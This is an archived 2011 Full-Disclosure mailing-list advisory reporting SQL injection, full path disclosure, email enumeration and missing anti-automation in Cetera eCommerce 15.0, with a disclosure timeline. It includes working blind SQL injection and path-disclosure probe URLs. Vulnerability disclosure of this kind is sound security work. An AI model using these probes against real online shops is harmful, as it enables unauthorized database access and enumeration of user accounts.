full-disclosure - SQLi, FPD, AoF and IAA vulnerabilities in Cetera eCommerce

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <004101cc12f9$9225a8c0$9b7a6fd5@ml>
Date: Sun, 15 May 2011 15:12:17 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>
Subject: SQLi, FPD,
	AoF and IAA vulnerabilities in Cetera eCommerce

Hello list!

I want to warn you about SQL Injection, Full path disclosure, Abuse of
Functionality and Insufficient Anti-automation vulnerabilities in Cetera
eCommerce. It's engine for online shops.

-------------------------
Affected products:
-------------------------

Vulnerable are Cetera eCommerce 15.0 and previous versions. SQLi and FPD
concern only version 15.0, and AoF and IAA concern version 15.0 and previous
versions. These vulnerabilities still not fixed by developer.

----------
Details:
----------

SQL Injection (blind SQLi) (WASC-19):

http://site/catalog/’+(version()=5.1)+’/ (200 at true, 404 at false)

http://site/’+(version()=5.1)+’/ (404 at true, 200 at false)

Full path disclosure (WASC-13):

http://site/’/

http://site/catalog/’/

http://site/account/’/

http://site/news/’/

http://site/vendors/’/

Abuse of Functionality (WASC-42):

In these functionalities it's possible to reveal e-mails which are logins in
the system.

http://site/account/recoverpassword/

http://site/account/recoverpassword/code/

Insufficient Anti-automation (WASC-21):

These two functionalities have no protection from automated requests
(captcha).

------------
Timeline:
------------

2011.03.25 - announced at my site.
2011.03.27 - informed developers.
2011.05.14 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/5035/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/